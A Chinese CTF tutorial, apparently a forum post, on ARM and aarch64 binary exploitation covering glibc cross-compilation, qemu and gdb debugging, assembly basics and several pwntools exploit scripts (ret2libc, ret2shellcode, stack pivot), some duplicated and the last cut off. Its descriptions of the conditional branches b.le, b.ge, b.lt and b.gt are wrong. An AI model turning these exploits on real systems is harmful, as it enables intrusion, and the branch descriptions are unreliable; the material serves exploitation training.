一般我们说的arm是ARMv7架构,是32位,而aarch64是ARMv8架构,也就是64位。
ARM软件包的安装:
在一般的CTF比赛中,arm & aarch64架构的题所给的libc都是glibc,当然也有少部分比赛所给的libc是uclibc或musl-libc,这点和x86_64架构下的题是一样的。
题目所给的libc一般是不带函数符号和调试符号的,而ARM架构也不像x86_64架构一样,可以把带符号的deb包(如libc6-dbg_2.31-0ubuntu9.2_amd64.deb)解压后放在与不带符号的libc同目录下的.debug文件夹中,调试的时候就可以自动加载符号了。
当然,我们也可以下载arm对应的带符号的deb包,然后在pwndbg中用add-symbol-file命令手动加载符号,但是那样太麻烦了。
所以,我们最好自己编译出对应版本的libc,就可以带符号并且进行源码级调试了,然而,我们一般用的都是x86_64架构,而我们现在需要编译出ARM架构下的libc,自然就不能用原先自带的x86_64架构下的gcc/g++进行编译了,而是需要进行交叉编译,也就需要相应的交叉编译工具链,这里我使用的是linaro公司维护的工具链。
源码建议在这里下载:glibc_source_code
交叉编译的工具链下载:arm aarch64
进行交叉编译的命令如下:
1. arm
2. aarch64
需要注意的是,我们交叉编译出来的libc会将绝对路径硬编码进去(开-fPIC编译选项不知道能不能写相对路径进去,可以试试),所以编译后libc所在路径是不能变动的,但是我们可以将libc所在的地址软链接到题目文件夹下,如:ln -s .../glibc-2.31/aarch64/lib ./lib。
比如设置的--prefix是.../glibc-2.31/aarch64,也就是我们最后make install后编译出的文件都存放在这个目录下,其实只需要保留其中的lib文件夹中与libc和ld相关的文件及其软链接就够了(也就四个文件),其他的都可以删掉,如果不需要源码级调试,源码也都可以删掉(其实这里建议大家只保留一些常用的源码文件夹即可)。
然后就是安装qemu了,因为我们无法x86_64架构下直接运行ARM架构的二进制文件,所以需要在qemu所模拟出的环境中跑,其实对qemu版本要求不高,直接apt一行安装即可:sudo apt-get install qemu-user qemu-system。
还有,我们调试ARM架构的时候需要gdb-multiarch,也是用apt一行安装即可:sudo apt-get install gdb-multiarch。
我们需要用qemu来运行所给的二进制文件,下面给出启动脚本和调试脚本:
1. start.sh
如果是arm架构,则是qemu-arm。
如果不需要调试,而是直接运行,则去掉-g选项。
如果是运行静态编译的文件,则去掉-L选项。
上面-L ./中的./代表重置的当前根目录。
一般来说,所给的二进制文件所需要的libc和ld文件都被硬编码在其中的,所需的libc地址基本都是/lib/libc.so.6,所需的ld地址也都是/lib/ld-...so..这种,都需要从/lib,也就是根目录下的lib文件夹中去寻找。
因此,若是我们当前目录下有所需的lib文件夹,那么根目录就要被设置为./,也就是当前目录。
2. gdb.sh
我这里将常用的源码文件夹移动了位置(不在编译libc的原目录下了),所以需要用dir命令重定位一下源码。
以上只是简单的说一说,更具体的可以自行查阅相关资料。
先说说qemu吧,在CTF比赛中,绝大多数ARM架构的题都是在qemu模拟出的环境中跑的,而qemu有些不太安全的特性,比如它没有地址的随机化,也没有NX保护,即使题目所给的二进制文件开了NX和PIE保护,也只是对真机环境奏效,而在qemu中跑的时候,仍然相当于没有这些保护,也就是说,qemu中所有地址都是有可执行权限的(包括堆栈,甚至bss段等),然后libc_base和elf_base每次跑都是固定的,当然这个固定是指在同一个环境下,本地跑和远程跑的这个固定值极有可能不相同,因此有时候打远程仍需泄露libc_base这些信息(当然也可以选择爆破,一般和本地也就差一两位的样子)。
再来说说arm和aarch64架构的一些常用的汇编指令集:
arm架构下的寄存器和x86_64架构还是有很大区别的,其中R0 ~ R3是用来依次传递参数的,相当于x64下的rdi, rsi, rdx,R0还被用于存储函数的返回值,R7常用来存放系统调用号,R11是栈帧,相当于ebp,在arm中也被叫作FP,相应地,R13是栈顶,相当于esp,在arm中也被叫作SP,R14(LR)是用来存放函数的返回地址的,R15相当于eip,在arm中被叫作PC,但是在程序运行的过程中,PC存储着当前指令往后两条指令的位置,在arm架构中并不是像x86_64那样用ret返回,而是直接pop {PC}。
在arm中的ldr和str指令是必须清楚的,其中ld就是load(加载),st就是store(存储),而r自然就是register(寄存器),搞明白这些以后,这两个指令就很容易理解了(cond为条件):
LDR {cond} Rd, <addr>:加载指定地址(addr)上的数据(字),放入到Rd寄存器中。
STR {cond} Rd, <addr>:将Rd寄存器中的数据(字)存储到指定地址(addr)中。
当然,这两个指令有很多种写法,灵活多变:
str r2, [r1, #2]:寄存器r2中的值被存放到寄存器r1中的地址加2处的地址中,r1寄存器中的值不变;
str r2, [r1, #2]!:与上一条一样,不过最后r1 += 4,这里的{!}是可选后缀,若选用该后缀,则表示请求回写,也就是当数据传送完毕之后,将最后的地址写入到基址寄存器(Rn)中;
ldr r2, [r1], #-2:将r1寄存器里地址中的值给r2寄存器,最后r1 -= 2;
上面的立即数或者寄存器也类似,此外还可以有这些写法:
str r2, [r1, r3, LSL#2]:将寄存器r2中的值存储到寄存器r1中的地址加上r3寄存器中的值左移两位后的值所指向的地址中;
ldr r2, [r1], r3, LSL#2:将r1寄存器里地址中的值给r2寄存器,最后r1 += r3 << 2.
在arm中仍有mov指令,通常用于寄存器与寄存器间的数据传输,也可以传递立即数。
mov r1, #0x10:r1 = 0x10
mov r1, r2:r1 = r2
mov r1, r2, LSL#2:r1 = r2 << 2
由此可见,ldr和str指令通常用于寄存器与内存间的数据传递,其中会通过另一个寄存器作为中介,而mov指令则是通常用于两个寄存器之间数值的传递。
此外,还有数据块传输指令LDM, STM,具体请参考:arm汇编指令之数据块传输(LDM,STM)详解。
其中提到了STMFD和LDMFD指令,可用作压栈和弹栈,如STMFD SP! ,{R0-R7,LR}和LDMFD SP! ,{R0-R7,LR},但是在我们拿到的CTF题目中,常见的仍是push {}和pop {}指令。
还需要知道的是add和sub命令:
add r1, r2, #2 相当于 r1 = r2 + 2;
sub r1, r2, r3 相当于 r1 = r2 - r3.
还有跳转指令B相关的一些指令,相当于jmp:
B Label:无条件跳转到Label处;
BL Label:当程序跳转到标号Label处执行时,同时将当前的PC值保存到R14中;
BX Label:这里需要先提一下arm指令压缩形式的子集Thumb指令了,不像是arm指令是一条四个字节,Thumb指令一条两个字节,arm对应的cpu工作状态位为0,而Thumb对应的cpu工作状态位为1,我们从其中一个指令集跳到另外一个指令集的时候,需要同时修改其对应的cpu工作状态位,不然会报invalid instrument错误,当BX后面的地址值最后一个bit为1时,则转为Thumb模式,否则转为arm模式,直接pop {pc}这样跳转也有这种特性;
BLX Label:就是BL + BX指令共同作用的效果。
位运算命令:and orr eor 分别是 按位与、或、异或。
aarch64和arm架构相比,还是有一些汇编指令上的区别的:
首先仍是寄存器,在64位下都叫作Xn寄存器了,其对应的低32位叫作Wn寄存器,其中栈顶是X31(SP)寄存器,栈帧是X29(FP)寄存器,X0 ~ X7用来依次传递参数,X0存放着函数返回值,X8常用来存放系统调用号或一些函数的返回结果,X32是PC寄存器,X30存放着函数的返回地址(aarch64中的RET指令返回X30寄存器中存放的地址)。
然后是跳转指令,仍有B,BL指令,新增了BR指令(向寄存器中的地址跳转),BLR组合指令。
还有一些带判断的跳转指令:b.ne是不等则跳转,b.eq是等于则跳转,b.le是大于则跳转,b.ge是小于则跳转,b.lt是大于等于则跳转,b.gt是小于等于则跳转,cbz为结果等于零则跳转,cbnz为结果非零则跳转...
在aarch64架构下的一大变化就是,不再使用push和pop指令压栈和弹栈了,也没有LDM和STM指令,而是使用STP和LDP指令:
STP x4, x5, [sp, #0x20]:将sp+0x20处依次覆盖为x4,x5,即x4入栈到sp+0x20,x5入栈到sp+0x28,最后sp的位置不变。
LDP x29, x30, [sp], #0x40:将sp弹栈到x29,sp+0x8弹栈到x30,最后sp += 0x40。
其中,STP和LDP中的P是pair(一对)的意思,也就是说,仅可以同时读/写两个寄存器。
基本来说,常用的就是以上的命令,但是arm和aarch64的命令远远不止以上这些,希望各位读者自行查阅相关资料进行学习。
【附】系统调用号:
基于arm架构的linux系统调用号
基于aarch64架构的linux系统调用号
这部分就不准备细说了,因为这些题目难的可能只是对arm和aarch64架构不太熟悉,漏洞点和利用方式都和x86_64架构差不多,且利用手法也没有x86_64架构下那么花里胡哨,看看exp基本也就都清楚了。
静态编译的程序,也就不需要动态链接库了,因此libc中的system和/bin/sh字符串在所给的二进制文件中自然是有的,不过所给的二进制文件去除了符号表,我们不容易找到它们的位置。
这里建议先用IDA的Rizzo插件修复符号表,就可以清楚地看到system函数的位置了,不然用交叉引用来找的话比较麻烦。
Rizzo 的 Github 项目地址
一个ret2libc...
需要注意的是,调用puts后,最后会进入write,但是并不是从头开始调用write函数的,我们知道,当进入一个函数的时候,会先push {}一串寄存器,再在该函数返回时,pop {}对应的寄存器,使得栈恢复到进入该函数前的状态,而这里由于从puts中走到write的时候,不是从头开始执行的,因此不会有前面push {}的过程,但是最后会有pop {}的发生,故会导致write返回的时候栈恢复不到原先的样子,因此,需要压进去一些垃圾数据来使栈恢复。
我本地和远程的libc版本不同,所以需要压进去的垃圾数据的个数也不同,这个需要自行调试,也体现出带符号表调试的必要性。
一个ret2shellcode...
我都是手撸shellcode,这里svc 0相当于int 0x80 / syscall,在程序运行中,pc寄存器指向当前指令后两条指令的位置。
观察以下这段汇编代码段:
可以知道,read读入的源地址是由R11(相当于ebp)控制的,这点和x86_64架构下也是类似的。
因此,我们可以控制R11寄存器进行二次读入,将shellcode读入到bss段上,然后直接打过去就行(因为qemu所有地址都是可执行的,自然包括bss段)。
其实这个题若是qemu环境跑的话,任意地址都是有可执行权限的,所以直接ret2shellcode就能通:
但是这样就很没意思了,我们就把他当作真机的环境,需要我们用mprotect赋予bss段可执行权限,这样就是一个aarch64架构下的ret2csu了,不过和x86_64架构下的差不多,这里也就不多做分析了。
gadget 1 :
gadget 2 :
注:shellcode中的xzr是清零寄存器。
我是写了个栈迁移(stack pivot),其实方法有很多。
观察到下面这个gadget:
很容易想到,可以通过控制R11寄存器进行栈迁移。
这里也用到了上面InCTF-2018 wARMup一题所利用的方式,先将gadget读到了bss段上,然后再栈迁移过去。
需要注意一些细节,比如迁移到的地址需要在bss段的基础上抬高一段距离等等。
由于alias索引没清空,导致了UAF,即使是qemu模拟的环境,本地和远程环境下固定的libc_base也会不一样,因此最好还是先泄露libc_base。
arm架构下很简单的一道堆题,漏洞点就在switch没有default卡住,导致可以继续向下执行,继而可以弄出double free。
arm架构下的堆题,不过这题的libc不是glibc了,而是uclibc,其实在这道题中没什么区别,一样的做就可以了,有堆溢出漏洞,又没有PIE,于是打一个unsafe unlink即可,很容易。
aarch64架构下的堆,很明显有一个off by null,简单构造利用一下即可。
需要注意的是aarch64架构下的libc泄露,由于跑qemu的时候,libc_base一般都是0x4000XXX000这样的地址,因此泄露数据的时候会被\x00截断,其实只需要泄露后三个字节(后六位),然后加上0x4000000000即可得到泄露出的libc地址。
sudo apt-get install gcc-arm-linux-gnueabi
sudo apt-get install gcc-aarch64-linux-gnu
sudo apt-get install gcc-arm-linux-gnueabi
sudo apt-get install gcc-aarch64-linux-gnu
cd .../glibc-2.31
mkdir arm
mkdir build
cd build
CC=.../gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf/bin/arm-linux-gnueabihf-gcc \
CXX=.../gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf/bin/arm-linux-gnueabihf-g++ \
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
../configure \
--prefix=.../glibc-2.31/arm \
--host=arm-linux \
--target=arm-linux \
--disable-werror
make
make install
cd .../glibc-2.31
mkdir arm
mkdir build
cd build
CC=.../gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf/bin/arm-linux-gnueabihf-gcc \
CXX=.../gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf/bin/arm-linux-gnueabihf-g++ \
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
../configure \
--prefix=.../glibc-2.31/arm \
--host=arm-linux \
--target=arm-linux \
--disable-werror
make
make install
cd .../glibc-2.31
mkdir aarch64
mkdir build
cd build
CC=.../gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-gcc \
CXX=.../gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-g++ \
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
../configure \
--prefix=.../glibc-2.31/aarch64 \
--host=aarch64-linux \
--target=aarch64-linux \
--disable-werror
make
make install
cd .../glibc-2.31
mkdir aarch64
mkdir build
cd build
CC=.../gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-gcc \
CXX=.../gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-g++ \
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
../configure \
--prefix=.../glibc-2.31/aarch64 \
--host=aarch64-linux \
--target=aarch64-linux \
--disable-werror
make
make install
qemu-aarch64 \
-g 1234 \
-L ./ ./pwn
qemu-aarch64 \
-g 1234 \
-L ./ ./pwn
gdb-multiarch -q \
-ex "file ./pwn" \
-ex "b ..." \
-ex "dir .../glibc-source/2.31/stdio-common" \
-ex "dir .../glibc-source/2.31/stdlib" \
-ex "dir .../glibc-source/2.31/libio" \
-ex "dir .../glibc-source/2.31/malloc" \
-ex "target remote :1234" \
-ex "c"
gdb-multiarch -q \
-ex "file ./pwn" \
-ex "b ..." \
-ex "dir .../glibc-source/2.31/stdio-common" \
-ex "dir .../glibc-source/2.31/stdlib" \
-ex "dir .../glibc-source/2.31/libio" \
-ex "dir .../glibc-source/2.31/malloc" \
-ex "target remote :1234" \
-ex "c"
from pwn import *
context(os = "linux", arch = 'arm', log_level = 'debug')
io = process("qemu-arm ./pwn", shell = True)
gadget_addr = 0x20904
bin_sh_addr = 0x6c384
system_addr = 0x110B4
io.send(b'\n')
payload = b'a'*0x70 + p32(gadget_addr) + p32(bin_sh_addr) + p32(0) + p32(system_addr)
io.send(payload)
io.interactive()
from pwn import *
context(os = "linux", arch = 'arm', log_level = 'debug')
io = process("qemu-arm ./pwn", shell = True)
gadget_addr = 0x20904
bin_sh_addr = 0x6c384
system_addr = 0x110B4
io.send(b'\n')
payload = b'a'*0x70 + p32(gadget_addr) + p32(bin_sh_addr) + p32(0) + p32(system_addr)
io.send(payload)
io.interactive()
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')
io = process("qemu-arm -L ./ ./pwn", shell = True)
elf = ELF("./pwn")
libc = ELF("./lib/libc-2.27.so")
def check(height, weight):
io.sendlineafter("Type the number:", b'1')
io.sendlineafter("Your height(meters) : ", str(height))
io.sendlineafter("Your weight(kilograms) : ", str(weight))
def PT(size):
io.sendlineafter("Type the number:", b'3')
io.sendlineafter("How long do you want to take personal training?\n", str(size))
def write_diary(payload):
io.sendlineafter("Type the number:", b'4')
io.send(payload)
def quit():
io.sendlineafter("Type the number:", b'6')
if __name__ == '__main__':
check(233, 233)
PT(-1)
pop_r0_pc = 0x11bbc
payload = b'a'*0x54 + p32(pop_r0_pc) + p32(elf.got['puts']) + p32(elf.plt['puts']) + p32(0)*3 + p32(elf.sym['main'])
write_diary(payload)
quit()
io.recvuntil("See you again :)\n")
libc.address = u32(io.recv(4)) - libc.sym['puts']
success("libc_base:\t" + hex(libc.address))
check(233, 233)
PT(-1)
payload = b'a'*0x54 + p32(pop_r0_pc) + p32(next(libc.search(b'/bin/sh'))) + p32(libc.sym['system'])
write_diary(payload)
quit()
io.interactive()
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')
io = process("qemu-arm -L ./ ./pwn", shell = True)
elf = ELF("./pwn")
libc = ELF("./lib/libc-2.27.so")
def check(height, weight):
io.sendlineafter("Type the number:", b'1')
io.sendlineafter("Your height(meters) : ", str(height))
io.sendlineafter("Your weight(kilograms) : ", str(weight))
def PT(size):
io.sendlineafter("Type the number:", b'3')
io.sendlineafter("How long do you want to take personal training?\n", str(size))
def write_diary(payload):
io.sendlineafter("Type the number:", b'4')
io.send(payload)
def quit():
io.sendlineafter("Type the number:", b'6')
if __name__ == '__main__':
check(233, 233)
PT(-1)
pop_r0_pc = 0x11bbc
payload = b'a'*0x54 + p32(pop_r0_pc) + p32(elf.got['puts']) + p32(elf.plt['puts']) + p32(0)*3 + p32(elf.sym['main'])
write_diary(payload)
quit()
io.recvuntil("See you again :)\n")
libc.address = u32(io.recv(4)) - libc.sym['puts']
success("libc_base:\t" + hex(libc.address))
check(233, 233)
PT(-1)
payload = b'a'*0x54 + p32(pop_r0_pc) + p32(next(libc.search(b'/bin/sh'))) + p32(libc.sym['system'])
write_diary(payload)
quit()
io.interactive()
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')
io = remote("node4.buuoj.cn", 26999)
io.sendlineafter("Give me data to dump:\n", b'leak')
shellcode_addr = int(io.recv(10), 16)
success("shellcode_addr:\t" + hex(shellcode_addr))
io.sendlineafter("Dump again (y/n):\n", b'y')
shellcode = asm(
)
payload = shellcode.ljust(0xa4, b'\x00') + p32(shellcode_addr)
io.sendlineafter("Give me data to dump:\n", payload)
io.sendlineafter("Dump again (y/n):\n", b'n')
io.interactive()
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')
io = remote("node4.buuoj.cn", 26999)
io.sendlineafter("Give me data to dump:\n", b'leak')
shellcode_addr = int(io.recv(10), 16)
success("shellcode_addr:\t" + hex(shellcode_addr))
io.sendlineafter("Dump again (y/n):\n", b'y')
shellcode = asm(
)
payload = shellcode.ljust(0xa4, b'\x00') + p32(shellcode_addr)
io.sendlineafter("Give me data to dump:\n", payload)
io.sendlineafter("Dump again (y/n):\n", b'n')
io.interactive()
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')
io = process("qemu-arm -L ./ ./pwn", shell = True)
elf = ELF("./pwn")
payload = b'a'*0x64 + p32(elf.bss() + 0x68) + p32(0x1052C)
io.send(payload)
shellcode = asm(
)
payload = shellcode.ljust(0x68, b'\x00') + p32(elf.bss())
io.send(payload)
io.interactive()
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')
io = process("qemu-arm -L ./ ./pwn", shell = True)
elf = ELF("./pwn")
payload = b'a'*0x64 + p32(elf.bss() + 0x68) + p32(0x1052C)
io.send(payload)
shellcode = asm(
)
payload = shellcode.ljust(0x68, b'\x00') + p32(elf.bss())
io.send(payload)
io.interactive()
from pwn import *
context(os = 'linux', arch = 'aarch64', log_level = 'debug')
io = process("qemu-aarch64 -L ./ ./pwn", shell = True)
elf = ELF("./pwn")
shellcode_addr = 0x411068
shellcode = asm(
)
io.sendafter("Name:", shellcode)
payload = b'a'*0x48 + p64(shellcode_addr)
io.send(payload)
io.interactive()
from pwn import *
context(os = 'linux', arch = 'aarch64', log_level = 'debug')
io = process("qemu-aarch64 -L ./ ./pwn", shell = True)
elf = ELF("./pwn")
shellcode_addr = 0x411068
shellcode = asm(
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2025-12-3 23:08
被winmt编辑
,原因: (手滑